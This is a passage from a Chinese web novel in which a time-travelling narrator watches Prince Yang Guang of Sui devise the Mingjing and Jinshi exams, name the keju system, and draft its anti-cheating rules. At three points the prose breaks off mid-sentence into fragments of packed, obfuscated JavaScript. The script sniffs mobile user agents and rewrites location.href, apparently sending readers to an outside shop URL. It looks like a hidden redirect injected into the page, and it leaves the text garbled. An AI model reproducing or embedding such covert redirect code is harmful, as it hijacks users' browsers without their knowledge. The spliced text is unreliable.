他拆开封泥的动作很稳,但撕开绸缎的细微“嘶啦”声,在寂静中格外清晰。 《开皇以来选官弊病辑录》。 十个字映入眼帘。 “陇西郡,开皇三年至十年,举孝廉九人,皆出当地四姓。寒门士子投牒自荐者二十七人,无一得见郡守。” “河东道,去岁察举‘茂才’三人,皆太守姻亲故旧。有寒门学子王晗,通五经、善策论,三度投书,石沉大海,今岁病殁于乡间茅庐。” “吏部考功司存档:开皇五年以来,七品以上官员升迁记录,八成以上有‘举主’、‘故吏’关联可循。” 每一条后面,都有朱批。 “积弊。” “痼疾已深。” “此风不可长。” “当思破局之法。” 翻到最后一页。 空白处,最新的一行朱批墨迹尚显鲜润,笔锋凌厉如刀劈斧凿,力透纸背,几乎要划破这承载着无数血泪的纸页: “晋王可思之。” 没有问号。 不是询问。 是陈述。 是命令。 也是……一道摆在明面上的、淬着血的考题。 39. 此制,便叫科举 杨广的指尖,久久停留在那五个字上。 然后他缓缓合上册子,发出一声极轻、却极沉的叹息。那声音里没有惊讶,没有畏惧,只有一种尘埃落定的的了然。 “父皇想要一个全新的选官制度,一条能彻底打破门第、不问出身的通天路。” “从这些堆积如山的控诉,到李纲用命砸开的口子,再到这本辑录。他的决心,已经摆在这儿了。” “但他自己不能亲手去造这条路。九品中正、州郡察举,世家门阀的根基扎得太深,要动,必然血流成河。” “他需要一把刀,一把足够锋利、足够坚硬,还能替他扛住所有反扑的刀。” 我听得心头一凛,下意识脱口而出。 “那陛下为什么不直接告诉你?关起门来密谈,把要改什么、怎么改,一条条交代清楚,让你去办不就行了?何必绕这么大圈子,把咱们扔在这儿猜谜?” “因为如果连谜面都看不懂,就不配去解这道题。”杨广看着我,声音沉了下去。 “父皇要的,不是一把只会听令挥砍的刀。他要的,是一把自己长了眼睛、生了脑子,知道该往哪里砍、怎么砍最利的刀。” 他手指向那座“纸山”: “前面那二十多卷乱七八糟的东西,什么田亩册、军籍簿、水利账,跟改制选官半文钱关系都没有。那就是第一道坎,看有没有耐心。看我能不能沉得住气,一页一页把这些枯燥玩意儿啃完,而不是敷衍了事,或者指望幕僚代劳。” 然后又指向李纲的遗书: “遗书压在这儿,是第二道坎,看有没有眼力。看我啃完那些烟雾弹之后,能不能从这堆积如山的抱怨里,看出真正的死结在哪儿。看出‘举荐不公’四个字背后,是多少条人命、多少年心血白白熬干。” 最后,他的指尖点在“晋王可思之”那五个字上: “而这道朱批,是最后一道坎,看有没有胆。”他抬眼,目光锐利如刀,“看我在看懂这一切之后,敢不敢接这个烫手山芋,敢不敢站在关陇世家的对面,敢不敢,真把这天捅个窟窿。” “若我装看不懂,或者看懂了却退缩……” 他嘴角勾起一丝没什么温度的弧度,“那这把刀,就不够硬,趁早换人。” 殿内寂静,只有烛火噼啪。 我看着他被烛光勾勒得异常清晰冷硬的侧脸,忽然全明白了。 这不是考试。 这是投名状。 陛下要的,不只是一个新的选官制度。 他要的,是一个敢为这个新制度赌上一切、与旧世界为敌的,同谋。 “那……怎么改?” 我的呼吸顿住了。 打破九品中正、打破州郡察举。这不就是……? 科举制??? “从头改。” 他的声音融在夜色里,很轻,却字字清晰,“九品中正不能要,州郡察举也不能要。” 那双眼此刻亮得惊人,像淬过火的刀。 “得造一条新路。” “一条……不问出身、不问门第、不问你是世家还是寒微的路。” 他走回长案前,铺开一张全新的宣纸。 纸面雪白,在烛光下泛着细腻的微光,像冬日的初雪。 他提起笔。 羊毫笔尖饱满,在端砚里缓缓舔墨,墨汁浓黑如夜。笔尖悬在纸面上方,墨将滴未滴。 殿内静得可怕。 只有烛火燃烧的嘶嘶声,还有窗外遥远的风声。 过了很久,久到我以为他不会写了,他才缓缓开口: “若要造这条路,”声音很低,像在自言自语,“第一,得考试。” 笔尖落下。 墨迹在宣纸上缓缓晕开,像一滴墨落入清水,慢慢洇成一个圆润的点,然后拉长,成形。 一个“试”字。 筋骨分明。 “不再是靠人举荐,不再是中正品评。” 他蘸墨,继续写,笔锋沉稳,“是实实在在的考试,发卷,答题,交卷。答得好就是好,答不好就是不好。” 顿了顿,抬眼看向我。 “白纸黑字,谁也做不得假。” 我的心跳开始加快。 “那考什么?”我的声音有些干,我甚至在明知故问。 他重新垂下眼,笔尖在纸上悬停。 思考。 “分两种。”他终于开口,声音更沉了些。 “第一种,考经义。通晓圣人经典,明辨是非曲直,能为天下师。” 笔尖落下。 “明经。” 两个字,写在“试”字旁边。 明经科! 我心头重重一跳。喉咙发紧,手指不自觉地攥住了袖口。 历史书上确实有这个…… 隋朝科举,就是从明经开始的! 杨广没有察觉我的异样,他蘸了墨,继续道: “但治国不能只靠读经书。” 他抬起头,目光越过我,看向窗外深沉的夜,像在看着很远的地方: “运河要修,黄河要治,钱粮要算,案子要判。需要能办实事的人,需要……能应对万变的人。” 他收回目光,重新看向宣纸。 笔尖悬停。 这一次,他思考得更久。 眉头微微蹙起,像是在脑海里反复推敲那个词。 我屏住呼吸。 我知道他要说什么…… 我知道历史书上怎么写…… 终于,他动了。 笔尖落下,力道比之前更重,墨迹更深。 “进——” 写了一半,他停住。 像是还不够,还不够准确。 他蘸了第二次墨,重新写。 “进士。” 我浑身的血“嗡”地冲上头顶。 眼前忽然一阵发黑,耳朵里嗡嗡作响,像有无数只蜂在同时振翅。 进士科! 隋炀帝杨广首创的进士科! 历史课本上那行冰冷的小字:“公元605年,隋炀帝杨广始设进士科”,此刻变成了活生生的现实! 他就站在我面前,在烛光下,在堆积如山的血泪控诉前,亲口说出了这个将延续一千四百多年的名词! 杨广的声音继续响起,每个字都像重锤,一下下敲在我心上。 “进士,取其‘进受爵禄’之意。” “此科专考文章诗赋与治国策论。”他笔锋不停,字字清晰,“诗赋观文采,策论察见识。要选的,是通晓时务、能应对万变的通才。” “明经取学究,进士取通才。双科并立,天下士子各凭本事,就以此二科为基。” “但这两科,总得有个统称。” 他笔尖悬在纸上,迟迟未落。 殿内重新陷入死寂。 这一次的寂静更沉重,更漫长。 烛火噼啪作响,窗外传来隐约的梆子声,戌时了。 杨广的目光落在“明经”和“进士”两个词上,久久不动。 他在思考,在推敲,在脑海里反复组合、拆解、重组。 月亮不知何时升起来了,皎洁的清辉从高窗漏进来,与烛光交织在一起,在他脸上投下明明灭灭的影子。 他的侧脸在光影中显得格外深邃,眉头微蹙,嘴唇抿成一条直线。 我站在一旁,屏住呼吸。 我知道……我知道接下来是什么…… 可我不能说……我一个字都不能说…… 这必须由他来完成……必须由他…… 终于,他动了。 笔尖缓缓落下,这一次,动作极慢,极郑重。 “科。” 一字千钧。 墨迹在宣纸上洇开,筋骨峥嵘,力透纸背。 他蘸墨。 手腕微转。 “举。” 科举。 两个字并列躺在雪白的宣纸上,墨迹未干,在烛火与月光的交织下幽幽反光,像两把刚刚出鞘的刀。 杨广搁下笔。 笔杆轻叩端砚边缘,发出一声清脆的“叮”。 余音在空旷的大殿里微微回荡,久久不散。 “科,分科考试。” 他的声音在寂静中响起,清晰,平静,却带着一种近乎神圣的郑重。 “举,选拔贤才。” 他抬眼,目光如深潭,映着烛火与月光: “此制——” 顿了顿。 每一个字,都清晰得令人心悸: “便叫‘科举’。” 我浑身一麻。 像有高压电流从脊椎猛然窜上来,直冲天灵盖,炸得头皮发麻,指尖冰凉。 科举…… 科举! 是这么来的…… 从明经到进士到科举,他全想到了!全推演出来了! 所有的历史名词在这一刻串联成一条灼热的链子,狠狠烫过我的神经。 它们不是课本上孤立的概念,而是一个人,在一夜之间,面对堆积如山的血泪,一步一步、逻辑严密地推演出来的完整制度! 脑子里的声音在疯狂尖叫,几乎要冲破喉咙: 你看见了吗?!你看见历史是怎么一步一步诞生的了吗?! 不是凭空出现的!不是天上掉下来的!是一个人!一个活生生的人!用他的脑子,在烛光下,在血泪前,一点一点拼出来的! 你正在见证……你正在见证一个延续千年的制度的诞生! 手抖得厉害。 我死死攥住袖口,布料快要被扯破了。指甲深深陷进掌心,疼痛让我保持最后一丝清醒。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236559|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >杨广终于转过身,看向我。 月光与烛光在他脸上交织出复杂的光影,看不清神情,只能看见那双眼睛亮得惊人,像燃烧的星。 “如何?”他问。 我张了张嘴。 喉咙像被砂石堵死,发不出一点声音。 肺里的空气好像都被抽干了,窒息感扼住喉咙。 最后,只能用力点头。 点得太猛,眼前一阵发黑,天旋地转,我踉跄一步,扶住桌沿才没倒下。 “那便以此立名。” 他望向窗外深沉的夜。 月色皎洁,星河初现,远处的宫殿亮着星星点点的灯火。 “开皇新制,首在取士。” “此制——” “便叫‘科举’。” 殿门被轻轻推开。 孙宦官提着一盏灯笼站在门口,昏黄的光照亮他半张脸:“殿下,萧姑娘,亥时正了。晚膳在偏厅温着,可要用些?” 他的声音打破了殿内几乎凝固的寂静。 杨广“嗯”了一声,摆摆手。 孙宦官躬身退出去,掩上门,脚步声渐远。 殿内又只剩我们两人。 和那几张纸。 一张摊开着,上面是李纲泣血的绝笔。 一张摊开着,上面是皇帝朱批的“非改不可”。 一张摊开着,上面写着“明经”、“进士”。 一张摊开着,上面写着“科举”。 烛火与月光交织,将墨迹照得发亮。 未干的墨迹在光下泛着润泽的黑光,像刚刚凝固的血,也像刚刚诞生的……历史。 晚膳吃得食不知味。 简单的两菜一汤,我机械地动着筷子,脑子里还在嗡嗡作响。杨广也没多话,只是偶尔抬眼看看我。 饭后,我们又坐回案前。 “既然有了名字,”杨广重新铺开一张纸,“就得把骨架搭起来。” 他的声音已经恢复了平静,但眼底那股光亮依旧灼人。 我们就这么一条条往下捋。 从考试资格,“所有良籍男子,皆可怀牒自进”,到考场纪律,“严禁夹带,违者逐出”,到阅卷流程,“糊名易书,以防舞弊”…… 他提出,我补充;我建议,他斟酌。 越聊越细,越聊越深入。 直到子时初,孙宦官再次进来提醒,声音里带着倦意:“殿下,姑娘,该歇息了。明日还要早起。” 杨广这才搁下笔。 他揉了揉手腕,眼底有淡淡的青影,但那股光亮,那股近乎偏执的、灼热的光亮,依旧燃烧着。 “今日就到这儿。”他说。 顿了顿,补了一句: “明日辰时。” “继续。” “是。” 我的声音还在微微发颤。 走出文思阁时,夜风带着露水的湿气吹来,竟有几分凉意。 我下意识回头看了一眼。 那扇高窗还亮着。 昏黄的烛光与皎洁的月光交织,透过桑皮纸窗,朦朦胧胧地漾开一片暖黄与银白混合的光晕。 杨广的身影立在窗边。 他背对着窗,身影被光勾出一道模糊的金边,轮廓在光影中显得有些不真实。他就那么站着,一动不动,像一尊沉默的、正在塑形的碑。 孙宦官提着灯笼在前引路。 灯笼的光在青石路上投下一圈晃动的暖黄,我的影子被拉得很长,随着步伐晃动。 “姑娘这边请,东厢房到了。”孙宦官推开一扇门,“热水已备好,被褥都是新晒过的,若还有别的需要,随时唤人。” 我道了谢,踏进房门。 房间不大,但干净整洁。一张硬板床,一张小几,一个衣架。 铜盆里盛着温水,冒着丝丝热气,架上搭着干净的布巾。 我洗漱完,躺在硬板床上。 被褥果然有阳光晒过的味道,蓬松柔软,带着点皂角的清香。 可是我一点都不困了。 血液仍在缓慢而汹涌地沸腾,耳畔还有轻微的嗡鸣。闭上眼睛,那些字就在黑暗中浮现。 明经、进士、科举…… 每一个词,我都在历史书上看过。 每一个词,今晚都由他亲口说出,亲手写下。 这到底是我在见证历史…… 还是历史在借我的眼睛,看着自己诞生? 月光从窗纸透进来,在地上投出一片模糊的银白。 窗外传来隐约的虫鸣,忽远忽近。 手心里,还残留着攥紧袖口时的触感。 丝质布料摩擦掌心的微痒。 指甲陷进肉里的钝痛。 还有墨香,纸气,灰尘,烛火的味道,夜露的湿润,以及那些字烙进眼底的、灼热得几乎刺痛的光。 40. 世家天塌了 我是被鸟叫声吵醒的。 睁开眼时,东厢房的窗纸已经透进灰白的光。脖子酸得像被人打了一棍,背脊僵硬得几乎直不起来。我盯着头顶青灰色的帐幔,愣了好一会儿,才意识到自己在哪儿。 文思阁……科举…… 那些词像潮水般涌回脑海。 还有那些墨迹未干的字,杨广写下“进士”、“科举”时的侧脸,李纲遗书上晕开的泪渍。 不是梦。 我掀开被子下床,用冷水狠狠抹了把脸。 铜盆里的水倒映着一张苍白疲惫的脸,眼底有淡淡的青影。 推开门时,晨风带着露水气扑面而来。孙宦官已经候在廊下,手里提着盏熄灭的灯笼。 “姑娘起了?”他躬身,“晋王殿下已经在偏厅了。” 我点点头,跟着他穿过回廊。 清晨的文思阁静得可怕,只有远处洒扫太监挥动长帚的沙沙声。廊檐下挂着几串铜铃,风一吹,发出细碎零落的轻响。 杨广坐在桌前,面前一碗粥只动了一半。 他换了身石青色常服,玉冠重新束过,鬓角一丝不乱,但眼底却也有青影。 “殿下。”我行礼坐下。 他抬眼,目光在我脸上停了停:“没睡好?” “脑子里全是字。”我端起粥碗,“明经、进士、科举……转了一夜。” 他嘴角微动,像是想笑,又忍住了:“彼此彼此。” 早膳很简单,粟米粥、蒸饼、几碟酱菜。 我们默默吃着,谁都没再说话。空气里只有瓷勺碰碗的轻响,还有窗外越来越密的鸟鸣。 吃完最后一口粥,杨广放下碗,从袖中取出昨夜那份写着“科举”二字的宣纸,铺在桌上。 “今日,”他说,手指点在纸上,“咱们得把这骨架上的每一根骨头,都磨成形。” 回到正殿时,昨夜的狼藉已被内侍收拾过。 散落的卷宗归整了,飘落的纸页捡起来了,长案擦得干干净净。只有那座“纸山”还在原处,沉默地立着。 杨广重新铺开一张大幅宣纸,提笔写下“开皇新制选士疏草案”九个大字。 笔锋比昨夜更稳,更沉。 “先从最基本的开始。”他抬眼,“考试分级,州县试、省试、殿试。具体怎么考?” “州县试八月,由地方州府主持。”我说,“考明经、进士两科基础。取中者称‘生员’,发文书凭证,可赴京参加省试。” 杨广提笔记下,笔尖顿了顿:“名额呢?一州取多少?” “按人口比例?”我试探着说,“比如……每五千户取一人?” “太宽。”他摇头,笔锋落在纸上,“第一年试行,宜紧不宜松。一州最多取十人,大州十五,小州五。宁缺毋滥。” 他在纸上写下“名额从紧”四个字,墨迹很重。 好家伙,这门槛…… 不过也对,刚开始,得让天下人知道这路不好走。 “省试呢?”我问。 “省试次年二月,在长安举行。”杨广蘸墨,“由礼部主持,陛下钦点主考官。考明经、进士完整科目。取中者称‘贡士’。” “贡士名额?” 他沉吟片刻,笔尖悬在纸上:“第一年,总数不超过一百。” “一百?”我皱眉,“会不会太少?天下那么大……” “就是要少。”他打断我,抬眼,目光锐利,“这不是施粥,见者有份。这是选官,选的是未来要治理州县、辅佐朝政的人。第一年若取多了,滥了,这制度就废了。” 我张了张嘴,没再反驳。 他说得对。 科举不是请客吃饭。 “殿试呢?”我换了个问题。 “殿试三月,由陛下亲自主持。”杨广笔锋不停,“贡士皆可参加,不黜落,只排名。一甲三人,赐‘进士及第’;二甲若干,赐‘进士出身’;三甲若干,赐‘同进士出身’。” 他写得很快,字字清晰。 我看着他笔下流出的那些词,贡士、进士、一甲、二甲…… 这些词……这些我从小在电视剧里听烂了的词…… 此刻正由他,一个一个创造出来。 喉咙有些发紧。 “那……授官呢?”我强迫自己继续,“考中了,给什么官?” 杨广的笔停住了。 他抬起头,看向窗外。晨光越来越亮,透过高窗在地上切出方正的光斑。他看了很久,想了很久。 然后他转回头,笔尖重新落下。 “一甲三人,授从六品。” “二甲进士,授从七品。” “三甲同进士,授正八品。” 他顿了顿,补充:“皆实职,非虚衔。” 我倒吸一口凉气。 从六品…… 一个寒门子弟,凭一场考试,就能一步登天到从六品? 好家伙……这哪是开科取士,这是要掀了关陇世家的祖坟啊! 那些靠门荫熬了十几年、钻营半辈子才爬到从六品的世家子弟,那些把“清流”“浊流”挂在嘴边、实则靠姓氏吃饭的关陇贵胄,不得翻了天了? 我放下手里的笔,声音有些干: “殿下,您知道这个品级一旦公布,会引起多大的轩然大波吗?那些世家……” “就是要让他们跳脚。” 杨广抬眼,目光锐利,“温水煮不了青蛙。要破百年积弊,就得下猛药。” 顿了顿,他忽然来了一句:“说起来,令堂姓薛,亦是关陇大族。” 明白了。 试探我呢? 我翻了个白眼:“我要是真跟他们同流合污,薛静姝还会三天两头找我麻烦吗?” 他笑了。 是真笑,眼角漾开细纹,竟显得有几分生动。 他靠向椅背,姿态松散下来:“你觉得,世家们看到这科举新政,会怎么做?” “他们会哭。”我说,“会跪在太极殿前,说‘祖宗之法不可变’,会在朝堂上抱团反对,会在地方上阳奉阴违。” “然后呢?” “然后……”我看着他,“就看陛下的决心,和殿下您的刀够不够快了。” 他手指在案上轻轻敲着,哒,哒,节奏很稳,“你觉得,本王需不需要他们的支持?” 我心头一跳。 ……送命题? 这问题太深了。 深到我差点接不住。 但鬼使神差地,我还是说了: “殿下想成就伟业,自然需要助力。只是……”我顿了顿,停住了。 “说下去。” 死就死吧! 我深吸一口气,迎上他的目光。 “只是臣女不明白,殿下对边关将士尚能以诗酒相结,对治河能吏亦能三顾茅庐。关陇世家盘踞朝堂数十年,根深叶茂,其中难道就没有能治黄河、理漕运、算钱粮的能臣干吏?” “殿下应当知晓,您要动的,是关陇世家百年来最根本的利益。选官之权、晋升之阶,这是他们的命根子。” “以雷霆手段推行科举,授官品级又定得如此之高,这不止是选贤任能。” 我盯着他深不见底的眼睛,“这是在明明白白告诉世家各族:从今往后,朝堂上不再看姓氏血脉,只看才学功绩。” 声音在空荡的殿内回响: “殿下,您当真……已经准备好与所有世家为敌了吗?” 杨广看着我,看了很久,久到我几乎都后悔多嘴。 然后他开口了,声音很平。 “萧锦,本王不是什么人都要。” 他的目光扫过满殿的卷宗,扫过李纲的遗书。 “本王要的,” 他声音沉下去,每个字都像淬过火的铁,“是黄河汛期敢跳进激流里打桩的人,是运河工地上能算出每丈土方该用多少民夫、多少银钱的人,是盯着国库账簿能一眼看出哪笔亏空被做了假账的人。” 他站起身,晨光将他身影拉长: “是边关告急时敢带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239250|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三百轻骑直插突厥腹地的人,是烈日下练兵能一箭射穿百步外箭靶红心的人,是战场上断了刀刃也会用拳头砸碎敌人盾牌的人。” 他嘴角那抹弧度冷得清醒。 “你说得对,关陇门阀里或许也有能人。但本王没工夫、也没兴致,去那些堆满祖宗牌位的祠堂里,一粒沙一粒沙地淘金。” “本王要开一条新河道。” 他抬手,指向窗外。晨光正漫过宫墙,照亮太极殿的金顶,更远处是长安城外苍青的山峦轮廓。 “让活水自己涌进来。” “从今以后,关陇子弟欲入仕途,同走科举。” 我站在原地,浑身的血都热了。 不是激动。 是一种更复杂的东西,像是突然看懂了这个人。 我看懂了他在江都十年的孤寂。 那十年,他远离权力中心,在一片陌生的土地上,亲手把一个混乱的江南治理成漕运通畅、仓廪充实的地方。 他修运河,整吏治,平叛乱,在长安那些世家眼里,他只是个“被放逐的皇子”,可我知道,他在积攒力量。 我看懂了他在黄河边对边将吟出“饮马长城窟”时的野心。 我看懂了他说要建一条贯穿南北的大运河,“纵使艰难,纵使耗费,亦当为之,功在千秋。” 我更看懂了此刻,他说出“关陇子弟同走科举”时,眼里那簇压不住的火到底是什么。 那是要烧毁一切旧秩序的火。 然后,一个更可怕的念头,毫无征兆地撞进我脑子里: 我甚至看懂了……他最后的失败。 不是突然的,而是必然的。 历史书上那些轻飘飘的字句:“大运河劳民伤财”“三征高句丽耗尽国力”“选官制改革,门阀震怒,士族反噬”。 都在我眼前活了过来,有了温度,有了重量。 他此刻要做的,正是点燃那座火山的第一把火。 那些靠门荫世代为官的关陇子弟,那些联姻结党盘踞要津的世家大族,那些把持地方田亩人口的豪强…… 他这一笔落下,等于亲手斩断了他们子孙后代的青云路。 他们现在或许会隐忍,会观望,会阳奉阴违。 但当运河征发百万民夫,当边疆战事耗费如流水,当天下怨声渐起时,这些被他断了根本利益的人,就会成为最锋利的那把刀,从内部,一点一点,把这个王朝的血肉剔尽。 我要不要告诉他? 要不要说:殿下,步子迈得太大了,你会遇到危险。门阀士族不会坐以待毙,他们会反扑,会联合所有既得利益者,会把你钉在暴君的柱子上。 要不要说:缓一缓,分几步走,先动明经,再动进士,给世家留点体面,给自己留条退路。 可我张不开嘴。 因为我知道他做的每一条都是对的。 公开考试是对的。分科取士是对的。给寒门高起点是对的。 改变不彻底,就等于彻底不改变。 这个道理,他懂,我也懂。 那些说要“循序渐进”的人,最后都成了旧秩序的维护者。 历史上有太多这样的例子,改革者想妥协,想平衡,想“温水煮青蛙”,结果青蛙没煮熟,自己先被煮了。 他那么聪明。 在江都十年,把漕运、吏治、军务都摸透了的人,怎么会不知道自己在做什么? 他当然知道。 他知道门阀会震怒、士族会反扑,知道朝堂会震动,知道那些既得利益者会想尽一切办法阻挠。 可他还是做了。 一笔一划,字字如刀。 或许……最坏的打算,他已经想好了。 我看着他在草案上又添了一行:“考官若收受贿赂,斩立决,家产抄没。” 字迹凌厉,力透纸背。 他写得很平静,像在写一件再寻常不过的事。 可我知道,这条写下去,会有多少人头落地。会有多少世家,把这条命记在他账上。 41. 干死他们! 白天的进展还算顺利。 我们先敲定了明经和进士科的考试范围。 明经考《五经》大义,外加贴经和策问。进士考诗赋、时务策,再加一道经义通辨。 “策论题目由谁出?”我问。 “陛下钦定。”杨广笔下不停,“或由陛下指定重臣拟定,密封送至考场。” “阅卷呢?” “糊名。”他说得很干脆,“试卷密封姓名籍贯,阅卷官不知考生是谁。” 我心头一动:“那……誊录呢?” 他抬眼看我:“何谓誊录?” 我走到另一侧,抽出一张纸,提笔写下“赵钱孙李”四个字,用的是最工整、最没个性的馆阁体。 “就是把所有考生的答卷,由专门的书吏重新抄写一遍。”我把纸推过去,“字迹统一成这样。阅卷官看到的,都是这种字。” 杨广盯着那四个字,看了很久。 然后他伸手,从我手里接过笔。 他的手指擦过我的指尖,温热的,带着薄茧。 我手一颤,笔差点掉了。 他没察觉,就着那张纸,在下面也写了同样的四个字。 字迹迥异。他的字筋骨开张,力透纸背,哪怕刻意收敛,那股子气势也藏不住。 “确实认得出。”他承认,把笔搁回去,“那就誊。” 他在草案上添了一行:“省试、殿试卷,皆誊录后阅。” 最激烈的争执出现在晚膳前。 关于“糊名”之后的“誊录”到底要做到什么程度。 “州县试不必誊录。”杨广态度坚决,“人手不够,也容易乱。” 我提出担忧:“州县试若舞弊,寒门连省试的门都摸不到。” 杨广想了想:“那就加强监考。每考场派监察御史,地方官员子弟另设考场。” “不够!”我打断他,声音不自觉地拔高了。 “殿下,您知道那些豪强有多狠吗?为了一个名额,他们敢烧考场,敢杀考官,敢在考生饭菜里下药!” 话一出口,我自己都愣了。 杨广也愣了:“你……怎么知道这些?” 我怎么知道? 我看过历史书,看过电视剧,看过太多科举舞弊的案子…… “猜的。”我强迫自己冷静。 “人性如此。巨大的利益面前,什么都敢做。” 他盯着我看了很久,然后提笔: “那就誊。州县试卷,誊录三份。一份阅卷,一份存档,一份封存备查。” “考官呢?” “异地轮换。”他笔下不停,“今年河北的考官明年调江南,后年调陇右。再设监考御史,抽签决定去哪个考场。” “若考官途中‘病故’?”我问。 他笔尖顿了顿,抬眼:“副考官即刻顶上,考期不变。” 顿了顿,补充: “死一个换一个,看他们有多少人命填。” 晚膳简单用了些,我们都累得不想说话。 饭后,杨广忽然从袖中摸出个小瓷瓶,推过来。 “薄荷膏。”他说,“抹太阳穴,醒神。” 我接过来,瓶身还带着他的体温,温热的。 抹上的时候,清凉感直冲天灵盖,确实精神一振。 我抬眼看他,他也在抹,动作很自然,仿佛这玩意儿他常备。 “殿下经常熬夜?”我没忍住问。 “在江都的时候,”他淡淡说,“整修漕运那阵子,图纸看到天亮是常事。” 戌时的时候,我们写到“舞弊惩处”这一节。 杨广提笔:“夹带者终身禁考,三代不得入仕。” 我看了一眼:“太轻了。” 他抬眼。 “若是携带事先写好的文章、贿赂考官呢?” 我声音冷下来,“若是买通考官提前泄题,若是在考场换卷子,若是在对手饮食里下药。” 我深吸一口气: “这些,都该流放三千里,家产抄没!” 杨广笔尖悬在半空,看着我。 “你现在……好像比本王还狠。” 我愣住了。 是啊,我什么时候变得这么激进了? 可脑子里那些历史书上血淋淋的科举舞弊案,那些寒门子弟被逼到绝路的惨状,那些世家大族肆无忌惮的嘴脸,全都涌了上来。 “因为殿下说的都对,”我听见自己的声音,很平静,却每个字都像淬了火,“臣女……被感染了。” 我抬起头,迎着他的目光。 “既然要破旧制,既然要开新路。” “那就干!” “干死他们!” 话出口我就后悔了。 太冲了。 杨广抬眼,目光沉甸甸地压过来。 完了,我心想,该挨骂了。 可他忽然笑了。 不是生气,是那种……被逗乐了的笑。 “萧锦,”他慢条斯理地,“你骂人的时候,眼睛特别亮。” 然后他提笔,在纸上重重写下。 「舞弊情节严重者,流放三千里,家产抄没,举族三代不得入仕。」 「若涉人命,斩立决。」 字字如刀。 这一夜,我们都没回厢房。 实在太累,也怕一躺下就起不来。杨广让内侍搬来两张躺椅,我们就靠在椅背上,打算眯一会儿。 可我睡不着。 脑子里全是那些细节,糊名、誊录、考官轮换、监考御史、路费补贴、考场修缮…… 它们像无数碎片,在我脑子里打转,拼凑,重组。 不知过了多久,我听见杨广起身的声音。 睁眼,看见他重新坐回案前,提起了笔。 烛火将他的影子投在墙上,拉得很长。 我也坐起来,走到案边。 “想到什么了?”我问。 “考生路费。”他头也不抬,“偏远州县的考生,赴京一趟要几个月。盘缠从哪儿来?” 我愣住。 这……这我真没想过。 历史书上只写“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248541|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 科举打破门阀”,没写考生怎么凑路费啊…… “州县补贴?”我试探着说。 “地方财政本就吃紧。”他摇头,“而且容易滋生腐败,官员借此敛财,或只补贴自己人。” “那……朝廷统一发?” “户部第一个跳出来反对。”他笔下不停,“而且怎么发?按路程?按家境?怎么核实?” 我们就这样你一言我一语,又争了半个时辰。 最后定下:设立“贡士路费银”,由朝廷专项拨款。考生凭州县试取中文书,到当地官府领取定额补贴。家境殷实者自愿放弃,可换为“义举”表彰。 “还有,”杨广补充,“沿途驿站需接待持文书考生,提供基本食宿。” 他写得很细,细到让人头皮发麻。 丑时过了。 我们还在争论。 嗓子哑了,就写纸条。 我写:「若考生入京,无钱投宿该如何?」 他写:「设‘贡院寄宿’,持文书者可免费住。」 我写:「若遇盘缠耗尽,病在途中?」 他写:「各地驿站须收容,病者延医诊治,费用由府库支。」 我写:「若地方克扣,敷衍了事?」 他写:「查实者,官罢职,吏流放。」 就这么一条条,一字字。 写到后来,手指都在抖,眼睛干涩得发疼。 杨广不知从哪儿又摸出个小瓶,倒出两粒药丸似的黑色丸子,递给我一颗:“含化,清咽的。” 我接过,放进嘴里,一股清凉的薄荷混合着草药的味道在口中化开,喉咙确实舒服些。 “殿下怎么什么都有?”我哑着嗓子问。 “习惯了。”他含着自己那颗,声音模糊,“常半夜和属官议事,备着些。” 寅时初。 我们写到“考场修缮”这一节。 杨广皱眉:“各州县考场年久失修,需拨款修缮。这笔钱……” “从抄没的家产里出。”我脱口而出。 他抬眼。 我补充:“舞弊者的家产抄没后,一半入国库,一半专项用于考场修缮、路费补贴、贫寒学子资助。” “以恶治恶。”他接下去,眼中闪过锐光,“好主意。” 笔尖落下,将这条写入草案。 草案越写越厚,现实的分量也越来越沉。 我看着那些白纸黑字,忽然意识到:这不再是我们昨日那个激昂的构想了,而是一份即将砸进现实、掀起滔天巨浪的国策。 每一个字,都可能压垮一个家族,也可能托起一个寒士。 “殿下。”我听见自己的声音有些哑,“臣女还有一条……想添在最后。” 他抬眼:“说。” 我蘸墨,在纸上写下: “此制初创,若有疏漏,可逐年修正,然方向不可改,初心不可忘。” 杨广看着我写的字,沉默了很久。 然后他提笔,在我那行字下面,补了一句。 “纵有千难万险,此路必开。” 42. 失控的拥抱 再睁开眼时,我发现自己趴在长案上。 脖子疼得像要断了,脸颊压着一叠写满字的纸,墨迹还没干透,蹭得脸上凉凉的。烛火早就熄了,晨光从高窗斜切进来,在青砖地上投出模糊的光斑。 对面,杨广还坐在那里。 他背脊挺得笔直,手里握着笔,正低头写着什么。晨光照在他侧脸上,勾勒出清晰的下颌线,也照出眼底浓重的青影。 案上堆满了纸。 是昨日争吵时写的草稿,密密麻麻全是批注、修改、争吵的痕迹。 